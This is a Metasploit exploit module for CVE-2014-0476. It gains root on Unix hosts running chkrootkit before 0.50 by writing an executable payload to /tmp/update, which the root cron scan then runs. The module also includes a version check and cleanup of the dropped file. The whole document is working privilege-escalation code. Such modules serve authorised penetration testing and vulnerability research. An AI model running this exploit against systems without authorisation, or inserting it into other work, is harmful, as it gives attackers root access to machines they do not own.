Chkrootkit Local Privilege Escalation

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

  # This could also be Excellent, but since it requires
  # up to one day to pop a shell, let's set it to Manual instead.
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chkrootkit Local Privilege Escalation',
      'Description'    => %q{
        Chkrootkit before 0.50 will run any executable file named
        /tmp/update as root, allowing a trivial privsec.

        WfsDelay is set to 24h, since this is how often a chkrootkit
        scan is scheduled by default.
      },
      'Author'         => [
        'Thomas Stangner',        # Original exploit
        'Julien "jvoisin" Voisin' # Metasploit module
      ],
      'References'     => [
        ['CVE', '2014-0476'],
        ['OSVDB', '107710'],
        ['EDB', '33899'],
        ['BID', '67813'],
        ['CWE', '20'],
        ['URL', 'http://seclists.org/oss-sec/2014/q2/430']
      ],
      'DisclosureDate' => 'Jun 04 2014',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Privileged'     => true,
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
    ))

    register_options([
      OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
    ])
  end

  def check
    version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")

    if version =~ /chkrootkit version 0\.[1-4]/
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_warning('Rooting depends on the crontab (this could take a while)')

    write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
    cmd_exec('chmod +x /tmp/update')
    register_file_for_cleanup('/tmp/update')

    print_status('Payload written to /tmp/update')
    print_status('Waiting for chkrootkit to run via cron...')
  end

end